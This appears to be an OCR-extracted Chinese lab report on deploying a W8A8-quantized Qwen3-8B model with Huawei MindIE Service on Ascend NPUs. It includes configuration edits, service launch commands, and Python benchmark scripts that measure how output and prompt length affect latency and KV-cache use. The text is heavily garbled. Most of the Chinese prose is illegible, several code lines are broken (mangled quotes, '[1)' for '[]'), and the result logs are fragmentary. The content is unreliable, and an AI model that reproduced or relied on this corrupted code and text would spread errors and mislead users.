"/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8"
model["worldSize"] = 1
# MEOABEEPEFEHTHEXFE, BEZHIER
for key in [
"tp", "tensorParallelSize", "tensorParallel", "rankSize",
"pipelineParallelSize", "pipelineParallel"
1:
if key in model:
model[key] = 1
schedule = backend.setdefault("ScheduleConfig", {})
schedule["maxPrefillTokens"] = 2048
if "maxFirstTokenWaitTime" in schedule:
schedule["maxFirstTokenWaitTime"] = 2500
with open(config_path, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
print("updated config:", config_path)
print("modelName:", model.get("modelName"))
print("modelWeightPath:", model.get("modelWeightPath"))
print("worldSize:", model.get("worldSize"))
print("npuDevicelds:", backend.get("npuDevicelds"))
print("httpsEnabled:", server.get("httpsEnabled"))
print("interCommTLSEnabled:", server.get("interCommTLSEnabled"))
print("maxinputTokenLen:", deploy.get("maxInputTokenLen"))
print("maxPrefillTokens:", schedule.get("maxPrefillTokens"))
EOF
FeEIRBEAN T :
FEoE I REE 5i8H
ipAddress 127.0.0.1 AHNIEGIEER
port 1025 IR w O
httpsEnabled false SCIGIMEXA HTTPS, {&F HTTP iEH
interCommTLSEnable N
p false B EB-RXARENEE TLS




S

HUAWEI IEBUHEIR N SRE SIS 5343
modellnstanceNumb 1 sl
er
MindIE 2.2.RC1 R ##4H, £F-—1
npuDevicelds [[o1 SCAI4RE NPUO, 15HRYESCRRSEPREBERY

NPU #{TEK

tokenizerProcessNu

mber 1 PHRRIRS A
maxInputTokenLen 2048 RTEE, kBB
modelName gqwen3_8b_w8a8 | APIiERIT{EARIEEZ
modelWeightPath WB8A8 it B oS EREER
worldSize 1 B

maxPrefillTokens 2048 ~RTFEE

£ 2 B5h MindIE Service

[Bzh MindIE Service gii, =ENNE; Ascend. MindIE LLM F1 MindIE Service IMET &, F4h
7t PyTorch 0 torch_npu s EERIR . BHARIRE PyTorch aISEIRR, BoiitnlseHil
libtorch.so 3AZIRIEIRR

TRIMETERER, & mindie-service BR 1T mindieservice_daemon Bk . B
B 2PN conf/configjson, ¥IAKECEETEEE, FHINE Qwen3-8B 1EEZ ., WNEH
FEA I Successfully init config manager #1 Loading selected layers:100%, i<BBECE N4
FENTRRTN, REWNECEFIRIEENSE .

# WENETE

source /usr/local/Ascend/ascend-toolkit/set_env.sh

source /usr/local/Ascend/mindie/2.2.RC1/mindie-llm/set_env.sh
source /usr/local/Ascend/mindie/2.2.RC1/mindie-service/set_env.sh

# BCEMSEIERE

export LD_LIBRARY_PATH=/usr/local/lib64/python3.11/site-packages/torch/lib:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=/usr/local/lib64/python3.11/site-packages/torch_npu/lib:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=/usr/local/Ascend/atb-models/lib:$LD_LIBRARY_PATH

export LD_LIBRARY_PATH=/usr/local/Ascend/nnal/atb/latest/atb/lib:$LD_LIBRARY_PATH

# BEiRSS

cd /usr/local/Ascend/mindie/2.2.RC1/mindie-service

nohup ./bin/mindieservice_daemon \
> /mnt/class/qwen3_deploy/test_hzl/mindie/logs/qwen3_8b_wB8a8_service.log 2>&1 &

# BEHE
tail -200 /mnt/class/qwen3_deploy/test_hzl/mindie/logs/qwen3_8b_w8a8_service.log
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ConfigManager: Load Config from /usr/local/Ascend/mindie/2.3.1/mindie-service/conf/config.json.
The configName speculationGamma is not found, use default value.

[ConfigManager: :ExecuteConfigInteractions] Configuration interactions completed
[ConfigManager: :InitConfigManager] Successf y init config manager

LogLevelDynamicHandler start
) selected layers: 100%| || 36/36 [00:33<00:00, 1.06layer/s]
LogLevelDynamchandler start
Daemon start ess!
[root@Atlas800T1 mindie-servicel#

_/I)J;g% 3 HE%%IQ\*JQ

REEmE, EEHME MindIE B2, APIEOFM NPU EF5H. EEEBERT, IUEE
mindieservice_daemon ¥ mindie_llm_backend ##2, E mindie_llm_backend fAaZ=5LlR
FEEUHETE

WNRIMEFZE ss 8 netstat 45, BILABIT/proc/net/tcp BEIR AT w0 1025 Xt
N7l 0401, GNREEIEEZ 127.0.0.1:0401 LFUEITIRZS, 15BE MindIE Service IR
mIEEEI =

G, @ npu-smi info RAJLABEEEEINZEHRY HBM 5B . ASLiEH, WBAS HREINNZL

&, mindie_llm_backend #3254 49GB HBM, HBE{EEI 22 NEF Ascend 910B3 b=
7o

# BEHE
ps -ef | grep -E "mindie|ms_server|ms_controllerms_coordinator" | grep -v grep

# &F& npu 5H

npu-smi info

coordinator® | grep

mindie_llm_backend

in/mindie_1lm_backend

LEIER 4 AP HEIRISIE

53 25hiE, {EH Python requests i MindIE Service B9/v1/chat/completions 1[0 1TH#E
IGIE . 15KPHI model FERFESHEIHHARY modelName {RIF—5, BD
gwen3_8b_w8a8,

ANEREMRE] HTTP 200, FEIREIRAFES chat.completion. choices. message F1IEE
NI, 7B WBA8 ERELEE 5 RS IUHEIEIGIE

python3 - <<'EOF'
import requests
import json

url = "http://127.0.0.1:1025/v1/chat/completions"
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payload = {
"model": "qwen3_8b_w8a8",
"messages": [
{
"role": "user",

"content™: "IBARXNBREC, FiRBEREEREMARPTRBILES . AEREEREIERE"
)
1
"max_tokens": 128,
"temperature": 0.3,
"stream": False

}

r = requests.post(
url,
headers={"Content-Type": "application/json"},
data=json.dumps(payload),

timeout=120
)
print("status:", r.status_code)
print(r.text)
EOF

4,14,14,14,14,14,14,14,14,14,14,14,14,

®5 EHER

AREWSERE, ATLAMNEANEEFIR WBA8 SVIREIIGIER .

$£—, YRR, HitBRPER quant_model_weight_w8a8.safetensors 1
quant_model_description.json, BfiAI{4H model_quant_type /3 W8A8,

£, SUMERH. NEXHHEE torch.int8 XEIWE L EINE, SHEH+HEE
weight_scale. weight_offset. input_scale. input_offset. deq_scale 01 quant_bias &=
B, FENEBRA/NINHL 16GB TEEIZ) 8.9GB,

F£=, IRSBHHEET . MindIE Service pEININNE; 36 E Qwen3-8B &8, APIEMHIRE]
HTTP 200, H4EMIEESX[EIE ., IREILRFESE prefill_time 1 decode_time_arr IR
EER, BT EEMEED .

InE [FiatEEY WBABE{I&EEY
EEER Qwen3-8B qwen3_8b_w8a8
NEKN #J16GB £J8.9GB

=38 BF16 WB8A8
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HOAWE! BRSBTS 237%
int81X & 7 2524
sHESH 7 scale/offset/deq_scale/quant_bias
HEIERRSSIIIE \ BT

$1® 6 {=1k MindIE Service

EINE pkill iIHAERZLE MindIE fRSS, IEEER T, mindie_llm_back #HIEZR;H%,
HBM S ASBE T,

# (Z1ERRSS
pkill -f mindieservice_daemon
pkill -f mindie_llm_backend

# Bk EHE
ps -ef | grep -E "mindie|ms_server|ms_controller|ms_coordinator" | grep -v grep

# BRERFESA

npu-smi info

[root@Atlas800T1 mindie-servicel# ps -ef | grep -E "mindie|ms_server|ms_controller|ms_coordinator" | grep -v grep
[root@Atlas800T1 mindie-service]#
[root@Atlas800T1 mindie-service]# npu-smi

|

+

| NPU  Name | Health
| Bus-Id
+

| NPU Chip | Process 1id | Process name
e

[root@Atlas800T1 mindie-servicel#

3.5 SCig/\e

ALY Qwen3-8B 7E MindIE PR EFAT WBAS S SIRSB IR . LW EHAEET
MindIE #iiz17IRE, F52m NPU. ACL. torch_npu. ATB Models #1 MindIE Service &
&; MEEfER msModelSlim X3&EA Qwen3-8B #&R11T WBAS 21, LR EWANEEF]
SWEANE; FEEITIE MindIE Service BLE X {4NNE; WBA8 EWIREY, FHEH
OpenAl X4& API SEAEHEIRISIIE .

MLELERE, WBAS 2XEEEIBRA/HL] 16GB [#KEIZ) 8.9GB, ZUDEIEENECH
%9 INT8 18=0, EMERAEHPEETENENSE . MindIE Service FININEEWAREY
[&, 8E9%1@1d/v1/chat/completions ZF[IIREIEEER, RS WREEZEEARTTAME,
FEIENR, EXFEREERNERRIISSITEE, B#HRETHEFEEE KV
Cache. IETEMX. EMSH. RBERFHEENS, ALUEFSAFASENEHFRNE
ELBITBE . [ELESCRE BT LAKEEREILE BF16 5 W8AS BIF . BiEKATRE . iE4eiERIIFERT
ERHF AR T D1 .
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3.6 BEW

EASCIEH, Qwen3-8B 21 WBA8 21U/, NEHFA/NML 16GB [E(EEILY 8.9GB, (B
MindIE Service INEAZEELS, NPU HBM (SRBZAXEIZ) 52.5GB, 150 AHAZEHWEN
BEVHHEET/), (EHERTHEESRAHAESESLAITE?

SEZEE: (1) WBA8 ENFERENRBEMNEARBIFEAR, BIHBOEEENEMN
BF16/FP16 35165 INT8, FEIEWEIINENHSAET/, BHEEITIIEFSARNME
IEIERINE, AE4E KV Cache. iEHEER . ENSH. REN/EHSH. HIE5|EET
ZhX. BESHEEERF. tokenizer IIRSZSHFBXTHEE ., (2) EXEEUEES, KV
Cache BESME ETXIKE. batch size. HAMIIERKEZNMESIEK ., BMFNES
WEZ/N, BITIHMBFEES KV Cache FIHEIBIEZEMBREERF. EIt, SHOILIEENER
fEFNERDITEF T, (EREERINNETSBESENEXXHER/NELHI TR, (3) AL
i, W8AS E/XEINEERML 16GB EZEZ) 8.9GB, HIANESILERL; (B MindIE INEIS
HBM 5% 52.5GB, HEBIzfTIt EFAB S AEIMNESDD . BEEseUILATLAMRS!
maxinputTokenLen. maxPrefillTokens. batch size. F&EEUARK KV Cache BIRZE S [m)4k 4
yaX 18
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4 RENEIR(LLSCE

4.1 - SLIENA

4.1.1 XF AL

F—Ci0 B2 5ER Qwen3-8B B EITE MindIE IREEAHEY WBAS 2 SRS IHIEIGIE, 2t
5, BEEINEERMY 16GB RERIZ) 8.9GB, UK MEENEWIERS int8, FEMT
scale. offset. deq_scale. quant_bias F=43# ., fEia, SWEELET MindIE Service fY
IhhnZk, Fel@id/v1/chat/completions E[TIREIEE[EZ,

B2, EXENREEZTIIAS SRS HBM,, #ii0, HeiLiPiRSINES I MERE|
HBM 5F%Y 52.5GB, XiiBAREIEITRI EFHARBNEXHRTE, EZEIATEERZMm:

EFAER 15488

SHNE WB8A8 JaRY int8 Y&

S scale. offset. deqg_scale. quant_bias £

KV Cache BN token XTRAY Key/Value E1F
HEIR Buffer FaEitBEFFIREEKE
ARSSTELEFHEH MindIE Service Fimite. AEFISITAIFHE

Hrp, KV Cache RBAESRERSZUHEFERERNISTIHIERIRS—. BRLUELBRIFE
FRSTEHRIESIE, 2% Decode FHERAR, ELSMEERAKE. BWHIKE. batch size
MF REEINMFEHBER

L, ZASE3ELA KV Cache BRIEFWE A OLR, BIREMANIKE. =45 Prefill token
#. [RESHIRENFHAS, DHFER HBM 5. &t IERSEEENSIE

4.1.2 LR HAY
STRATRE, FRNEETE:
o EHFEEHY Qwen3-8B WBAS tERIFETHETEM AR L ;
o (FERHIANIL OpenAl RISEORSRIERATIE . FARBIHFMINE;
o EMMAKE. BHKE. HAEHERMERERISND;
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e BT MindIE BeESHFEE, MERENIL. FHIENESESETW;
e (EH npu-smi. IRSSBAEFRNIE profiling TE O HrHEIEHRIN;
o JERL “EMEIRE + HHAEIE" BISLIRITELEIL,

4.1.3 SCIGEE(ARHESE

AL EREHE. RBEE. MEELN. KV Cache EHXLR., SHINHMERS
. BRREN T

LR E IR

KV Calche [FEEi5ER

Minde Service KSHKE

Eﬁ%ﬁi)&&ﬁ'liﬁ%%ﬁ%

Eﬁ)\tler%mﬁ: WzR Prefill 5044 KV Cache [EH
Eﬁﬁtﬂtlﬂggggﬁ: M2 Decode 5 KV Cache 1EKFEH
#&‘jﬂﬁ WMELZIBER KV Cache BINES
é*%ilﬂ‘tb—'ﬁiﬁﬁ%éﬁ

4.2 MindIE Service XS B

fA Qwen3-88 W8A8 EUIRERSZ AT RIS WEATWT:

MEIR wL/AE FRHAZER
CIE=f:]
MindIE i#2 ps -ef | grep mindie mindieservice_daemon.

mindie_llm_backend

NPU RZ npu-smi info NPU KSIESE
HBM ZZ{E npu-smi info 1ICRIRSSN#SS HBM
EOEE curl 8 Python requests JR[E] HTTP 200

TR S /v1/chat/completions BEIRMEIEFE L

S#E (34 SHERRIE ) T £ 2, BshMindIE RS, HEZE MindIE i#i2, NPU K
=

th o

~

# &BF MindIE Hiz
ps -ef | grep -E "mindie|ms_server|ms_controller|ms_coordinator" | grep -v grep
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# BE NPU RS
npu-smi info

LR

........

MindIE BRS3#0 npu JREIEE .

4.3 B FRERE%

LT LEBER

| mkdir -p /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/{scripts,logs,results}

£E2 BEEUHSH

{ERTEXA Prompt {EAZGARE: “BN=/15HEREE KV Cache X AIEEUEIRI4HEERTRS
W, 8NAEA—EEEE. 7, ZTERHKESED, HEEERE, ETESNRMEE
TR, BEUidS8T:

# SHIHA
# max_tokens=256 B FIRFIGAMEKE, BREEEMTIKANBTNELRLSESR;
# temperature=0.3 FBFIEEEMMEIIE, ESRERIEERKEFENEIRE;
# stream=false RRAMEZFEHRITTEIINAYREIHITIE, FNEMEFRIUE Token FEESHT.
{
"model": "qwen3_8b_w8a8",
"messages": [
{
"role": "user",
"content": "IBMN=1T5EISEER KV Cache X AEEUEIRIERERIS D, BN A EA—TIELRE, "
}
1
"max_tokens": 256,
"temperature™: 0.3,
"stream": false
}

£E3  EFUEEA
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BN test_hzl/mindie/kv_cache_opt/scripts/baseline_single.py, ZEEEHATHIEISK
100K, FIENERIERAIKEILRETER, FHRMHFIIRNE. RINFEFLLDER. HARS
T

import time
import requests

# EOMHEFERIZFR
URL = "http://127.0.0.1:1025/v1/chat/completions"
MODEL = "qwen3_8b_w8a8"

# EEMURNERE, RIESRNHEERATTLE
PROMPT = "iIEM\=1"75Hi5%8A KV Cache I RERHHEHEERIIN, BN S EA—IIERE. "

# BN SH
TOTAL_REQUESTS = 10
MAX_TOKENS = 256
TEMPERATURE = 0.3
TIMEOUT = 300

def avg(values):
return sum(values) / len(values) if values else O

latencies = []
success_count =0

print("===== Qwen3-8B W8A8 HZtaENlix =====")
print(fiE3RXE: {TOTAL_REQUESTS}")
print(f"max_tokens: {MAX_TOKENS}")
print(f"temperature: {TEMPERATURE}")

print()

for i in range(1, TOTAL_REQUESTS + 1):
payload = {
"model": MODEL,
"messages": [
{"role": "user", "content": PROMPT}
1,
"max_tokens": MAX_TOKENS,
"temperature": TEMPERATURE,
"stream": False

}

start_time = time.time()

try:
response = requests.post(URL, json=payload, timeout=TIMEOUT)
latency = time.time() - start_time

data = response.json()
usage = data.get("usage", {})
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prompt_tokens = usage.get("prompt_tokens", 0)
completion_tokens = usage.get("completion_tokens", 0)
total_tokens = usage.get("total_tokens", 0)

prefill_time = data.get("prefill_time", 0)
decode_time_arr = data.get("decode_time_arr", [1)
queue_wait_time = usage.get("queue_wait_time", [])

avg_decode_time = avg(decode_time_arr)
avg_queue_wait = avg(queue_wait_time)

ok = response.status_code == 200
if ok:
success_count +=1
latencies.append(latency)

print(
frE{ipxR |
f"{IK7Z&:{response.status_code} | "
finZliRAYZE {latency:.3f}s | "
"4\ tokens:{prompt_tokens} | "
f"#iH tokens:{completion_tokens} | "
"5 tokens:{total_tokens} | "
f"prefill_time:{prefill_time} | "
'35 decode_time:{avg_decode_time:.2f} | "
f"3£15 queue_wait{avg_queue_wait:.2f}"
)

except Exception as e:

print(f"88{ibR | IBREM | FFREE: {e}")
print()

print(f" =253 {TOTAL_REQUESTS}")
print(f" BEIIEKEL {success_count}")
print(f"BEIIER: {success_count / TOTAL_REQUESTS:.2%}")

if latencies:
print(f"¥18imZimAYZE: {avg(latencies):.3f}s")
print(f"&/\BFEE: {min(latencies):3f}s")
print(f" &2 ARIZE: {max(latencies):.3f}s")

5431

T4 BTHAHEE NPU BFF

python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/baseline_single.py \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/baseline_single.log

BITERITENAN T :
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1% Bk A

+
N %
N ¥
# 0%
|~ B
;g

$I 5 LRSI
DIFTHE e
10 RIBREEFRE] HTTP 200, FEINERA 100%, A8 MindIE Service 1%

& I
BSPIRAE | Drace  Quen3-sB WeAS BHLIERE B S-S Sk .
ES EunEiRATEE S 3.812s, &x/\ATEE 3.809s, B KBYHE 3.822s, iKnX
~ 0.013s, IRBBHBIRIEREIEHEIRIFEIRE
B tokens [EEA 27, Prefill FEATLY 24 ~29, 15BZAET Prompt %8,
IR
BANNES Prefill RER NN .
" i tokens BRIg9 256, IRBAERIE AL RLEI max_tokens FIR; imZEl
wHEMES - . A Ers oy
imATSEFEEH Decode FHE&R token £RLRE o
. 14 decode_time FRETFE 14.04~14.08 2Z[8], 15HBEIZE token 4 pEITFEFE
Decode F&25E M

E, REWMBERE,

LHEIRRIEKREITML, queue_wait_time FARLEINEFHELHEBAES,
ERREHANKHNSERE,

HFANEIE, KV Cache ¥MIIAHLEIRIR; MHIKEIXEI 256, SLEEEE
B5BITIEEE max_tokens WIZ2 Decode PHER KV Cache IS0 .

RIREOARERE LML IEIAT 10 )R EIEKIEE, FrEIBERIIMINRE], RINZEA 100%, F
YR BIERATIE S 3.812s, BR/\AYEES 3.809s, FRARTHES 3.822s, EKKNR/N, WHBEXE)
MindIE Service IRSZIASIZE, Qwen3-8B WBAS S(UIEEUHIEGEIRIFE . Et, ZNXER
BJLMESGEE KV Cache {4 SCEERIBMAMEREEZ .

£ 6 HBM BEDHT

NPU EFENRISREiREIR/:

queue_wait IR

KV Cache E20[g
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[root@Atlas800T1 /J# npu-smi inf

Version: 25.5.1
I S S S S -
| Health Power(Ww Temp Hugepages -Usage(page) |
| Bus-Id % Memory-Usage(MB) HBM-Usage(MB)

52537/ 65536

FEBIAERERLNKIZFEH, npu-smi TR HBM HEEARIEEREL 52.5GB, FKMEZIAZ
s, FRETETF MindIE Service [FEhHINFIRELS, BENE. SHSH. #HIE Buffer Fliz
THEREEEEERES, Y, AXRELUKXARERBTUE, B tokens {8 27, Hit
tokens 9 256, KV Cache EIiNMEER/)\, ErIseHiRSIEZNOECekER, ELLEE(K HBM
SRATHABE. BEFEESKEAN . KEHFISF ARG KV Cache [£1, B
HBM I£{&. queue_wait_time. P95 BHZEFNRKINZERZ,

4.4 KV Cache EMEZESH
L1 Kb

<iaHSEe A FIER max_tokens 1&Kf5, Decode FERZX token AR RTIEIANMENEIN, HTFE
G p— token, EBIEFSUREEEBENN KV Cache, E UM< SIENN Decode My ERIFLERT R
KV Cache 1&{K[E /], AELLEIREF Prompt 3%, RiF%EE max_tokens,

BIZMIAIT:

cat > /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_output_length.py <<'PY’
import time
import requests

URL = "http://127.0.0.1:1025/v1/chat/completions"
MODEL = "qwen3_8b_w8a8"

PROMPT = "IEBM\=4"75E5EBA KV Cache XPAREIERMHRERIRIN, S HLEA—EIERE, "
TEMPERATURE = 0.3
TIMEOUT = 600

# KIS . HES max_tokens
MAX_TOKENS_LIST = [128, 256, 512, 1024]
REQUESTS_PER_GROUP =5

def avg(values):
return sum(values) / len(values) if values else 0

def send_once(max_tokens):
payload = {
"model": MODEL,
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"messages": [{"role": "user", "content": PROMPT}],
"max_tokens": max_tokens,

"temperature": TEMPERATURE,

"stream": False

}

start = time.time()
response = requests.post(URL, json=payload, timeout=TIMEOUT)
latency = time.time() - start

data = response.json()
usage = data.get("usage", {})

decode_time_arr = data.get("decode_time_arr", [1)
queue_wait_time = usage.get("queue_wait_time", [])

return {
"status": response.status_code,
"latency": latency,
"prompt_tokens": usage.get("prompt_tokens", 0),
"completion_tokens": usage.get("completion_tokens", 0),
"total_tokens": usage.get("total_tokens", 0),
"prefill_time": data.get("prefill_time", 0),
"avg_decode_time": avg(decode_time_arr),
"decode_steps": len(decode_time_arr),
"avg_queue_wait": avg(queue_wait_time),

print("===== {KHIHLI: max_tokens M@ =====")

for max_tokens in MAX_TOKENS_LIST:
print(f"\n----- max_tokens={max_tokens} ----- ")

latencies = []
completion_tokens_Llist = []
prefill_list = []

decode_list = []

queue_list = []

success =0

for i in range(1, REQUESTS_PER_GROUP + 1):
try:
r = send_once(max_tokens)
ok = r["status"] == 200
success += int(ok)

if ok:
latencies.append(r["latency"])
completion_tokens_list.append(r["completion_tokens"])
prefill_list.append(r["prefill_time"])
decode_list.append(r["avg_decode_time"])
queue_list.append(r["avg_queue_wait"])

print(

46T
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f'EB{ix | KE&Ar['status']} | "
f"BIZE{r['latency']:.3f}s | "
"4 tokens{r['prompt_tokens']} | "
"4 tokens:{r['completion_tokens']} | "
f"prefill:{r['prefill_time']} | "
f"avg_decode:{r['avg_decode_time']:.2f} | "
f"avg_queue:{r['avg_queue_wait']:.2f}"

)

except Exception as e:

print(f"S8{ibx | BREM | {e}")

print(

"SCS2 | max_tokens={max_tokens} | "
f"EjZI}Jl.?é:{success/ REQUESTS_PER_GROUP:.2%} | "
f"SEIIRTFE:{avg (latencies):.3f}s | "

f"1594 4 tokens:{avg (completion_tokens_Llist):.1f} | "
"1 prefill{avg(prefill_list):.2f} | "

3214 decode:{avg(decode_list): 2} | "

3215 queue:{avg(queue_list):.2f}"

PY

HATRIAS :

python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_output_length.py \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/test_output_length.log

WSRO T :

[root@Atlas800T1 scripts]# python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_output_length.py \
mnt/class/qwen3_deploy/test_| mindie/kv_cache_opt/logs/test_output_length.log
EWY T H: max_tokens$Z m i ik

max_tokens=1
A tokens:27 ; ens:128 | prefill:2 avg_decode:14. avg_queue
% A tokens: 27 % ° prefill: avg_decode:
: it - prefill: avg_decode:
prefill: avg_decode:
| prefill avg_decode:1 9
:100.00% | F1y 913s | F# % 4 tokens .0 | xiﬁprehll:‘d 20 | q:hdncodp 14.07 | F # queue:857.79

| tokens:27 | % 4 tokens:256 | prefill:24 | avg_decode:14.065 | g_queue !
| % A tokens:27 7 3 256 | prefill:24 | avg_decode:14.07 | 0
| tokens:27 | % 4 tokens:256 | prefill: | avg_decode:14.07 | e: .05
| & A tokens:27 | % 4 tokens:256 prefill: | avg_decode:14.05 | avg_queue:766.47
s | & A tokens:27 | % 4 tokens:256 prefill: | avg_decode:14.06 | avg_queue:820.52
:100.00% | £ 811s | F# % & tokens:256.0 | F#prefill:24.20 | F 1y decode:14.06 | F # queue

% A tokens:27 | % 4 token: prefill:24
tokens:27 | & & token 2 | prefill:

| avg_decode:14.05 | avg_queue

| .
tokens:27 | % & tokens:51 prefill:24 | avg_decode:14.04 | g_queue:776.

|

I

avg_decode:14.04 |

|

|

|
| A tokens:27 | % 4 tokens:512 prefill:2 avg_ dn(ode:ld.os | avq _queue:729.3

s | A tokens:27 4 tokens:506 | prefill:2 avg_decode:14.05 | avg_queue:746.8

:100.00% | £ 516s | F# % ¥ tokens:505.8 | ;mprphll 24.60 | F #ydecode:14.05 | F #4 queue:774.40

| \ tokens:27 % 4 tokens:502 | |

| & A tokens:27 | % 4 tokens:512 | |

| A tokens:27 | |

| % A tokens:27 | % 4 tokens:512 | prefill: | avg_decode:14.
| | prefill: | avg_decode:14.

prefill:2
prefill:
prefill:

avg_decode:14.03
avg_decode:14.03
avg_decode:14.

avg_queue:704.05
avg_queue:700
avg_queue:
avg_queue:775.74

&i A tokens:27 | & 4 tokens:512 avg_queue:770.40

|

|

|

|

| E
: tokens=1024 | F4 1N :100.00% | Fiat & :7.575s | F ¥ Y tokens:510.0 | F#prefill:25.00 | P # decode:14.04 | F iy queue:747.02
root@Atlas8eoT1 scripts]# i

RO

ANESCIGHR, i tokens $4%R )9 27, prefill EAFREE 23~ 24 £, RIBMANIGESS
5k; 1Y decode BEAFETETE 13.08 ~ 13.48 ZZ[8], 15iABEELE Decode FERTIFETE . UHE
mAYAERY L EE R B tokens F=1EN0,

24 max_tokens M 128 1E0F! 256 B, FEIIRFFEM 1.786s HEH0ZF! 3.551s; =4 max_tokens &
INZE 512 BF, FHORTEEH—S1ENZ] 7.092s, EASWkEEHIKEE KM EARI#EE ., Xik
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BATERRMAIGS T, Decode fiERinElinAtfERIEZERIR, =6l max_tokens ZFERERIEK
AEREIEFE

w2 T oHYE, max_tokens=1024 BY, SCPRFIY%IL tokens RE 479.8, FHigHILE!
1024, BFIYRIFES 6.850s, {KF max_tokens=512 4, iXiREYFEE 4 R EL RS ECE O]
BETFTELY 512tokens ZAMBREHILR, FEEFENIKIEKEY, TENERSIHERK
KB . maxSeqlen SiEIEEEECE

£E2  KEBAUR

KEIALIR B TR Prompt <S5, Prefill ERLMIEIIN tokens BIFFHEANEIEE(L . BINBE
i<, Prefill NERFBENIFEAIVIIA KV Cache #Z, BESSEL prompt_tokens #[ prefill_time
=0,

BUEMAIT:

cat > /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_input_length.py <<'PY'
import time
import requests

URL = "http://127.0.0.1:1025/v1/chat/completions"
MODEL = "qwen3_8b_w8a8"

MAX_TOKENS = 256
TEMPERATURE = 0.3
TIMEOUT = 600
REQUESTS_PER_GROUP =5

def avg(values):
return sum(values) / len(values) if values else O

def build_prompt(level):
base = "IBREELA TASRXFRIEEUEERHMAIXERS: \n"

sentence = (
"KIRBHIR( B ERE KV Cache. BMINKE. BWHIKE. batch size, FAE. "
"HBM 5F. &it. EERTIRSIEEE. "

)

if level == "short":
return "IBI=ANJ5 RS KV Cache I3 AEEIHIBMAERIRNN, SN AEA—TIERIE, "
if level == "middle":
return base + sentence * 40
if level == "long":
return base + sentence * 120
if level == "xlong":
return base + sentence * 240

return base + sentence

def send_once(prompt):




W

HUAWEI

LSk SEYNEHE Sy

payload = {
"model": MODEL,
"messages": [{"role": "user", "
"max_tokens": MAX_TOKENS,
"temperature": TEMPERATURE,
"stream": False

content": prompt}],

}

start = time.time()
response = requests.post(URL, json=payload, timeout=TIMEOUT)
latency = time.time() - start

data = response.json()
usage = data.get("usage", {})

decode_time_arr = data.get("decode_time_arr", [1)
queue_wait_time = usage.get("queue_wait_time", [])

return {
"status": response.status_code,
"latency": latency,
"prompt_tokens": usage.get("prompt_tokens", 0),
"completion_tokens": usage.get("completion_tokens", 0),
"total_tokens": usage.get("total_tokens", 0),
"prefill_time": data.get("prefill_time", 0),
"avg_decode_time": avg(decode_time_arr),
"avg_queue_wait": avg(queue_wait_time),

}
print("===== KHEIALLR: Prompt KEXIIWiL =====")
groups = [

("short", "5ZHIN"),

("middle", "FEIA"),

("long", "IKHEIN"),

("xlong", "FBIN"),
1

for level, name in groups:
prompt = build_prompt(level)
print(f"\n----- {name} ----- ")
print(f"Prompt =& {len(prompt)}")

latencies = []
prompt_tokens_list = []
prefill_list = []
decode_list = []
queue_list = []

success = 0

# BERBMNBMEIRRE, BREFIEEER
reg_num = 3 if level == "xlong" else REQUESTS_PER_GROUP

for i in range(1, req_num + 1):
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try:
r = send_once(prompt)
ok = r["status"] == 200
success += int(ok)

if ok:
latencies.append(r["latency"])
prompt_tokens_list.append(r["prompt_tokens"])
prefill_list.append(r["prefill_time"])
decode_list.append(r["avg_decode_time"])
queue_list.append(r["avg_queue_wait"])

print(
'SR | JRZE&A{r['status']} | "
f"BIEE{r['latency']:.3f}s | "
f'# tokens:{r['prompt_tokens']} | "
"4 tokens:{r['completion_tokens']} | "
f"prefill:{r['prefill_time']} | "
f"avg_decode:{r['avg_decode_time']:.2f} |
f"avg_queue:{r['avg_queue_wait']:.2f}"

)

except Exception as e:

print(f"S8{ibx | iEREM | {e}")

print(
fiC2 | {name} | "
"B IhER {success / req_num:.2%} | "
f"SEIIRTFE:{avg (latencies):.3f}s | "
"S54\ tokens:{avg (prompt_tokens_list):.1f} | "
3215 prefill:{avg(prefill_list):.2f} | "
'35 decode:{avg(decode_list): 2} | "
3215 queue:{avg(queue_list):.2f}"

)
PY

50

HATRIAS :

python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_input_length.py \
| tee /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/logs/test_input_length.log
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800T1 scripts]# python3 /mnt/class/qwen3_deploy/test_hzl/mindie/kv_cache_opt/scripts/test_input_length.py \
lass/qwen3_deploy/tes indie/kv_cache_opt/logs/test_input_length.log
¥ Prompt{v B 82 op Wl i

127 | %4 tokens:256 | prefill:26 | avg_decode:
§ 4 tokens:256 | prefill:24 | avg_decode:

| | avg_queue

| |
% 4 tokens:256 | e avg_decode:14. |

I |

| |

avg_queue

% 4 tokens:256 avg_decode:

% 4 tokens:256 avg_decode:

p e P
A tokens:27.0 | ;m prefill:24.60 | ¥4 de(oda F #4) queue:855.38

prefill:s avg_decode:14. avg_queue:412.59
| prefill:86 | avg_decode:14.12 avg_que
prefil | avg_decode:14. avg_queue
prefil - - avg_queue
prefill:85 e e: 13 | avg_queue
1341.06 | F#prefill:85.80 | 411’1 decode:14. %ﬁqu@u@ 366.45

i 4 tokens: prefill: g_de g avg_queue:0.00
% 4 tokens: prefill: vg_de avg_queue:0.00
% 4 tokens: prefill: \ avg_queue:0.00
% 4 tokens: prefill: X avg_queue:0.00
¥, % 4 tokens:0 | prefill: avg_queue:0.00
#rf 3L :0.000s | F# 5 A tokens:0.0 | F# prefdl 0 0 \ T #) decode:0.00 | F 34 queue:0.00

A tokens:0 | & 4 tokens:0 | prefill:0 | avg_decode:0.00 | avg_queue:0.00
okens:0 | % 4 tokens:0 | prefill:0 | avg_decode:0.00 | avg_queue:0.00
s % okens:0 | % 4 tokens:0 | prefill:e | avg_de :0.00 | avg_queue:0.00
\ | BRINE :0.00% # Bt i :0.000s | F % A tokens:0.0 | F#prefill:0.00 | F #decode:0.00 | F 4 queue:0.00
froot@AtlasuOUTl scriptsl]#

